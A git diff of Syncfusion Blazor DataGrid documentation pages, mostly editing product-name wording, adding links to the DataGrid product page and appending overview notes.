 > For group aggregates, ensure grouping is enabled at the grid level with [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) set to **true**, and maintain grouped columns by setting [ShowGroupedColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_ShowGroupedColumn) to **true**.
 
diff --git a/blazor/datagrid/grouping.md b/blazor/datagrid/grouping.md
index 539fe04a90..4e9c7bbcf2 100644
--- a/blazor/datagrid/grouping.md
+++ b/blazor/datagrid/grouping.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Grouping in Blazor DataGrid
 
-The grouping feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid organizes rows into groups, enabling users to expand or collapse related records. Columns can be grouped by dragging the column header into the group drop area. Enable grouping by setting the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property to **true**. Configure behavior using [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
+The grouping feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) organizes rows into groups, enabling users to expand or collapse related records. Columns can be grouped by dragging the column header into the group drop area. Enable grouping by setting the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property to **true**. Configure behavior using [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -89,7 +89,7 @@ public class OrderData
 
 ## Initial group
 
-Configure initial grouping in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid by setting the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_Columns) property of [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html) to an array of field names. This pre-groups the specified columns on initial render to accelerate data analysis.
+Configure initial grouping in the Blazor DataGrid by setting the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_Columns) property of [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html) to an array of field names. This pre-groups the specified columns on initial render to accelerate data analysis.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -247,7 +247,7 @@ public class OrderData
 
 ## Hide drop area
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid displays a drop area for grouping columns. In scenarios where further grouping or ungrouping should be restricted after initial grouping, hide the drop area.
+By default, the Blazor DataGrid displays a drop area for grouping columns. In scenarios where further grouping or ungrouping should be restricted after initial grouping, hide the drop area.
 
 To hide the drop area, set the [ShowDropArea](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_ShowDropArea) property of `GridGroupSettings` to `false`.
 
@@ -460,7 +460,7 @@ public class OrderData
 
 ## Persist grouped row expand or collapse state
  
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can persist the expand or collapse state of grouped rows across operations such as paging, sorting, filtering, and editing. By default, these operations reset grouped rows to their initial state. To retain the current state and ensure a consistent user experience, set [GridGroupSettings.PersistGroupState](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_PersistGroupState) to **true**. This also applies when using external methods like [ExpandAllGroupAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExpandAllGroupAsync) and [CollapseAllGroupAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_CollapseAllGroupAsync).
+The Blazor DataGrid can persist the expand or collapse state of grouped rows across operations such as paging, sorting, filtering, and editing. By default, these operations reset grouped rows to their initial state. To retain the current state and ensure a consistent user experience, set [GridGroupSettings.PersistGroupState](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_PersistGroupState) to **true**. This also applies when using external methods like [ExpandAllGroupAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExpandAllGroupAsync) and [CollapseAllGroupAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_CollapseAllGroupAsync).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -732,7 +732,7 @@ public class OrderData
 
 ## Collapse all grouped rows at initial rendering
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can expand or collapse grouped rows to control the visibility of grouped data. This is useful for summarizing large datasets by initially hiding details.
+The Blazor DataGrid can expand or collapse grouped rows to control the visibility of grouped data. This is useful for summarizing large datasets by initially hiding details.
 
 To collapse all grouped rows at initial rendering, use the [DataBound](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_DataBound) event with the [CollapseAllGroupAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_CollapseAllGroupAsync) method.
 
@@ -830,7 +830,7 @@ public class OrderData
 
 ## Group or Ungroup column externally
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports interaction-based grouping by dragging headers to the grouping area. It also supports programmatic grouping and ungrouping via [GroupColumnAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupColumnAsync_System_String_) and [UngroupColumnAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UngroupColumnAsync_System_String_).
+The Blazor DataGrid supports interaction-based grouping by dragging headers to the grouping area. It also supports programmatic grouping and ungrouping via [GroupColumnAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupColumnAsync_System_String_) and [UngroupColumnAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UngroupColumnAsync_System_String_).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -951,7 +951,7 @@ public class OrderData
 
 ## Expand or collapse externally
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can expand or collapse grouped rows programmatically to control the visibility of grouped data.
+The Blazor DataGrid can expand or collapse grouped rows programmatically to control the visibility of grouped data.
 
 ### Expand or collapse all grouped rows
 
@@ -1056,7 +1056,7 @@ public class OrderData
 
 ## Clear grouping 
 
-The clear grouping feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid removes all grouped columns from the Grid, providing a quick way to reset grouping.
+The clear grouping feature in the Blazor DataGrid removes all grouped columns from the Grid, providing a quick way to reset grouping.
 
 To clear all grouped columns, call the [ClearGroupingAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearGroupingAsync) method.
 
@@ -1146,7 +1146,7 @@ public class OrderData
 
 ## Grouping events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides two events for the group action: [Grouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Grouping) and [Grouped](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Grouped). `Grouping` is triggered before the action starts, and `Grouped` is triggered after completion. These events support custom logic based on grouping.
+The Blazor DataGrid provides two events for the group action: [Grouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Grouping) and [Grouped](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Grouped). `Grouping` is triggered before the action starts, and `Grouped` is triggered after completion. These events support custom logic based on grouping.
 
 1. **Grouping Event**: Triggered before the grouping or ungrouping action is performed in the Grid. Use this to perform operations or cancel the action. The event parameters include the current grouping column name and the action.
 
diff --git a/blazor/datagrid/how-to/blazor-webassembly-data-grid-using-cli.md b/blazor/datagrid/how-to/blazor-webassembly-data-grid-using-cli.md
index 4f244e7463..c03d555021 100644
--- a/blazor/datagrid/how-to/blazor-webassembly-data-grid-using-cli.md
+++ b/blazor/datagrid/how-to/blazor-webassembly-data-grid-using-cli.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Blazor DataGrid in a standalone WebAssembly app using .NET CLI
 
-This article provides step-by-step instructions to build a standalone Blazor WebAssembly app and integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid using the [.NET CLI](https://dotnet.microsoft.com/en-us/download/dotnet). The guidance aligns with .NET 8/9 Blazor WebAssembly project standards and notes when to use a hosted WebAssembly option.
+This article provides step-by-step instructions to build a standalone Blazor WebAssembly app and integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) using the [.NET CLI](https://dotnet.microsoft.com/en-us/download/dotnet). The guidance aligns with .NET 8/9 Blazor WebAssembly project standards and notes when to use a hosted WebAssembly option.
 
 ## Using the Playground
 
@@ -81,7 +81,7 @@ cd BlazorApp
 
 N> If the project is created without specifying -f, the template may default to an older target framework depending on the installed SDKs. Always include -f net8.0 or -f net9.0 to target the intended framework version. See the [template options](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-new#blazorwasm) for details.
 
-### Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and Themes NuGet in the app
+### Install Blazor DataGrid and Themes NuGet in the app
 
 To add the `Syncfusion.Blazor.Grid` NuGet package to the application, use the following command in the command prompt (Windows) or terminal (Linux/macOS). For more details, refer to [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli).
 
@@ -153,7 +153,7 @@ N> See the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearanc
 
 ### Add Blazor DataGrid
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in the **~/Pages/Home.razor** file.
+Add the Blazor DataGrid in the **~/Pages/Home.razor** file.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -228,7 +228,7 @@ After the app starts, navigate to `http://localhost:<port-number>` in the browse
 
 ### Defining row data
 
-To bind data for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, assign a `List<OrderData>` (or any collection that implements `IEnumerable<OrderData>`) to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of `DataManager`. Assign the data source in the `OnInitialized` lifecycle method of the page.
+To bind data for the Blazor DataGrid, assign a `List<OrderData>` (or any collection that implements `IEnumerable<OrderData>`) to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of `DataManager`. Assign the data source in the `OnInitialized` lifecycle method of the page.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -296,7 +296,7 @@ public class OrderData
 
 ### Defining columns
 
-Columns are automatically generated when the column declaration is empty or undefined during initialization of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+Columns are automatically generated when the column declaration is empty or undefined during initialization of the Blazor DataGrid.
 
 The Grid also supports explicitly defining columns using [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html). In `GridColumn`, several properties are available to customize column behavior.
 
@@ -383,7 +383,7 @@ public class OrderData
 
 ### Enable paging
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can display records in a paged format. To enable paging, set the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to `true`. Customize the pager using [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
+The Blazor DataGrid can display records in a paged format. To enable paging, set the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to `true`. Customize the pager using [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -459,7 +459,7 @@ public class OrderData
 
 ### Enable sorting
 
-The Syncfusion Blazor DataGrid can sort records in ascending or descending order. To enable sorting, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property to true. Customize sorting using [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
+The Blazor DataGrid can sort records in ascending or descending order. To enable sorting, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property to true. Customize sorting using [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -534,7 +534,7 @@ public class OrderData
 
 ### Enable filtering
 
-The Syncfusion Blazor DataGrid can filter records to display only those that meet specific criteria. To enable filtering, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to true. Customize filtering behavior using [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
+The Blazor DataGrid can filter records to display only those that meet specific criteria. To enable filtering, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to true. Customize filtering behavior using [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -610,7 +610,7 @@ public class OrderData
 
 ### Enable grouping
 
-The Syncfusion Blazor DataGrid can group records by one or more columns. To enable grouping, set the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property to true. Customize grouping behavior using [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
+The Blazor DataGrid can group records by one or more columns. To enable grouping, set the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property to true. Customize grouping behavior using [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
diff --git a/blazor/datagrid/how-to/create-custom-grid-component.md b/blazor/datagrid/how-to/create-custom-grid-component.md
index 15b79a89d7..90ccc8d812 100644
--- a/blazor/datagrid/how-to/create-custom-grid-component.md
+++ b/blazor/datagrid/how-to/create-custom-grid-component.md
@@ -1,6 +1,7 @@
 ---
 layout: post
 title: Create a custom Grid component in Blazor DataGrid | Syncfusion
+canonical_url: "https://www.syncfusion.com/blazor-components/blazor-datagrid"
 description: Learn how to build a reusable custom Grid component that wraps SfGrid in Blazor to share default paging, sorting, and layout settings across the application.
 platform: Blazor
 control: DataGrid
@@ -112,4 +113,6 @@ namespace SF_Grid_Inheritance.Shared
 }
 
 {% endhighlight %}
-{% endtabs %}
\ No newline at end of file
+{% endtabs %}
+
+N> Looking for a complete Blazor DataGrid Component overview, including features, pricing, and documentation? Explore the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) Component page.
\ No newline at end of file
diff --git a/blazor/datagrid/how-to/css-isolation-for-grid.md b/blazor/datagrid/how-to/css-isolation-for-grid.md
index 995a31d741..eae3910481 100644
--- a/blazor/datagrid/how-to/css-isolation-for-grid.md
+++ b/blazor/datagrid/how-to/css-isolation-for-grid.md
@@ -70,4 +70,6 @@ Index.razor.css
 
 > Please find the sample in this [GitHub location](https://github.com/SyncfusionExamples/How-to-Getting-Started-Blazor-DataGrid-Samples/tree/master/CSS_Isolation).
 
-N> More information on CSS Isolation is available [here](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/css-isolation?view=aspnetcore-8.0#child-component-support).
\ No newline at end of file
+N> More information on CSS Isolation is available [here](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/css-isolation?view=aspnetcore-8.0#child-component-support).
+
+N> Looking for a complete Blazor DataGrid Component overview, including features, pricing, and documentation? Explore the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) Component page.
\ No newline at end of file
diff --git a/blazor/datagrid/how-to/custom-helper-function-inside-loop-with-template.md b/blazor/datagrid/how-to/custom-helper-function-inside-loop-with-template.md
index 025fd027cd..eb53666031 100644
--- a/blazor/datagrid/how-to/custom-helper-function-inside-loop-with-template.md
+++ b/blazor/datagrid/how-to/custom-helper-function-inside-loop-with-template.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Use custom helper inside the loop with templates
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports using custom helpers inside the loop within a column [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template). This enables building flexible templates that incorporate additional logic and helper functions.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports using custom helpers inside the loop within a column [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template). This enables building flexible templates that incorporate additional logic and helper functions.
 
 The following example renders a customer rating column with a custom template. Inside the template, the code iterates over a fixed range and generates star elements. The **IsRatingGreater** helper method determines which stars to highlight.
 
diff --git a/blazor/datagrid/how-to/customize-empty-grid-display-message.md b/blazor/datagrid/how-to/customize-empty-grid-display-message.md
index 6bcae4a3c4..bdd78abfbd 100644
--- a/blazor/datagrid/how-to/customize-empty-grid-display-message.md
+++ b/blazor/datagrid/how-to/customize-empty-grid-display-message.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Customize the empty record template in Blazor DataGrid
 
-The empty record template in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables rendering custom content such as images, text, or other components when the Grid has no records to display. This replaces the default “No records to display” message.
+The empty record template in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables rendering custom content such as images, text, or other components when the Grid has no records to display. This replaces the default “No records to display” message.
 Define the template using the [EmptyRecordTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_EmptyRecordTemplate) within `<GridTemplates>`. In Blazor, this is a Razor fragment (RenderFragment), allowing any valid Razor markup or components. The empty record template is shown whenever the data source results in zero rows, including initial load, after filtering or searching yields no matches, or after deletions remove all rows.
 
 {% tabs %}
diff --git a/blazor/datagrid/how-to/define-events-programmatically.md b/blazor/datagrid/how-to/define-events-programmatically.md
index 1ff59c514e..15c0488250 100644
--- a/blazor/datagrid/how-to/define-events-programmatically.md
+++ b/blazor/datagrid/how-to/define-events-programmatically.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Define Grid events programmatically in Blazor DataGrid
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, events are typically defined using the [GridEvents](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#) child Razor component. As an alternative, Grid events can also be configured programmatically by accessing the Grid instance through a component reference. This approach is useful when events need to be assigned dynamically during the application lifecycle.
+In the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid), events are typically defined using the [GridEvents](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#) child Razor component. As an alternative, Grid events can also be configured programmatically by accessing the Grid instance through a component reference. This approach is useful when events need to be assigned dynamically during the application lifecycle.
 
 > Note: Assigning **Grid.GridEvents** programmatically replaces any events declared via the `<GridEvents>` markup for that Grid instance.
 
diff --git a/blazor/datagrid/how-to/enable-or-disable-grid.md b/blazor/datagrid/how-to/enable-or-disable-grid.md
index d4fc5748a8..89da227f5f 100644
--- a/blazor/datagrid/how-to/enable-or-disable-grid.md
+++ b/blazor/datagrid/how-to/enable-or-disable-grid.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Enable or disable Blazor DataGrid and its actions
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be dynamically enabled or disabled by toggling a button. This is useful to restrict user interaction with the Grid during certain application states or processes. The approach below disables interaction at the UI level by applying a CSS class to a wrapper and setting an attribute for styling or accessibility.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be dynamically enabled or disabled by toggling a button. This is useful to restrict user interaction with the Grid during certain application states or processes. The approach below disables interaction at the UI level by applying a CSS class to a wrapper and setting an attribute for styling or accessibility.
 
 To implement this:
 
diff --git a/blazor/datagrid/how-to/hide-the-built-in-spinner-and-show-a-custom-loading-spinner-in-blazor-datagrid.md b/blazor/datagrid/how-to/hide-the-built-in-spinner-and-show-a-custom-loading-spinner-in-blazor-datagrid.md
index 390095fcc8..b7b4b9d772 100644
--- a/blazor/datagrid/how-to/hide-the-built-in-spinner-and-show-a-custom-loading-spinner-in-blazor-datagrid.md
+++ b/blazor/datagrid/how-to/hide-the-built-in-spinner-and-show-a-custom-loading-spinner-in-blazor-datagrid.md
@@ -10,7 +10,7 @@ documentation: ug
 
 # Hide Built‑in Spinner and Show a Custom Loading Spinner
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid displays its default loading spinner while fetching and rendering data. A customized loading experience—such as a full overlay spinner—can be implemented by hiding the Grid’s built‑in spinner and displaying a custom spinner until the data load is complete.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) displays its default loading spinner while fetching and rendering data. A customized loading experience—such as a full overlay spinner—can be implemented by hiding the Grid’s built‑in spinner and displaying a custom spinner until the data load is complete.
 
 This customization involves the following steps:
 
diff --git a/blazor/datagrid/how-to/render-grid-inside-tab-with-specific-height.md b/blazor/datagrid/how-to/render-grid-inside-tab-with-specific-height.md
index 4d268b185a..6f5b0873a9 100644
--- a/blazor/datagrid/how-to/render-grid-inside-tab-with-specific-height.md
+++ b/blazor/datagrid/how-to/render-grid-inside-tab-with-specific-height.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Blazor DataGrid inside the tab with specific height
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid occupies the full size of its parent element when the Grid [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height) and [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Width) properties are set to 100%. When placing the same Grid inside the [SfTab](https://blazor.syncfusion.com/documentation/tabs/getting-started-webapp) component, however, it may consider the entire page height and render without a horizontal scrollbar.
+By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) occupies the full size of its parent element when the Grid [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height) and [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Width) properties are set to 100%. When placing the same Grid inside the [SfTab](https://blazor.syncfusion.com/documentation/tabs/getting-started-webapp) component, however, it may consider the entire page height and render without a horizontal scrollbar.
 
 To ensure the Grid scrolls within the Tab content area (keeping the tab header fixed), override the Tab content height with CSS so the Grid receives a well-defined parent height.
 
diff --git a/blazor/datagrid/how-to/resize-grid-in-various-dimension.md b/blazor/datagrid/how-to/resize-grid-in-various-dimension.md
index b7a850fc5c..545ad4a6d6 100644
--- a/blazor/datagrid/how-to/resize-grid-in-various-dimension.md
+++ b/blazor/datagrid/how-to/resize-grid-in-various-dimension.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Resize the Blazor DataGrid in various dimensions
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid fills its parent container. Therefore, changing the parent’s dimensions adjusts the Grid size automatically. This example shows how to resize the Grid externally using inputs and a button to modify the parent container’s width and height.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) fills its parent container. Therefore, changing the parent’s dimensions adjusts the Grid size automatically. This example shows how to resize the Grid externally using inputs and a button to modify the parent container’s width and height.
 
 > - When using `Height="100%"` for the Grid, ensure the parent container has an explicit height (pixels or a resolved flex height).
 > - Setting `Width="100%"` on the Grid ensures it follows the parent width exactly.
diff --git a/blazor/datagrid/how-to/send-context-as-additional-parameters-from-events.md b/blazor/datagrid/how-to/send-context-as-additional-parameters-from-events.md
index 0c9e9fdc70..8c1fc72d09 100644
--- a/blazor/datagrid/how-to/send-context-as-additional-parameters-from-events.md
+++ b/blazor/datagrid/how-to/send-context-as-additional-parameters-from-events.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Sending Context as additional Parameters in Blazor DataGrid Events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports passing the current row context to event handlers. This approach is useful for updating Grid fields based on interactions inside the edit dialog, enabling immediate, in-place updates to the bound data.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports passing the current row context to event handlers. This approach is useful for updating Grid fields based on interactions inside the edit dialog, enabling immediate, in-place updates to the bound data.
 
 To implement this, follow these steps:
 
diff --git a/blazor/datagrid/how-to/server-side-using-cli.md b/blazor/datagrid/how-to/server-side-using-cli.md
index cc38b985da..d2226b9714 100644
--- a/blazor/datagrid/how-to/server-side-using-cli.md
+++ b/blazor/datagrid/how-to/server-side-using-cli.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Blazor DataGrid in a standalone Blazor Server app using .NET CLI
 
-This article provides step-by-step instructions to build a standalone Blazor Server app with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid using the [.NET CLI](https://dotnet.microsoft.com/en-us/download/dotnet). The guidance aligns with .NET 8/9 Blazor Server project standards.
+This article provides step-by-step instructions to build a standalone Blazor Server app with Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) using the [.NET CLI](https://dotnet.microsoft.com/en-us/download/dotnet). The guidance aligns with .NET 8/9 Blazor Server project standards.
 
 ## Manually creating a project
 
@@ -54,7 +54,7 @@ This command creates a new standalone Blazor Server app and places it in a direc
 
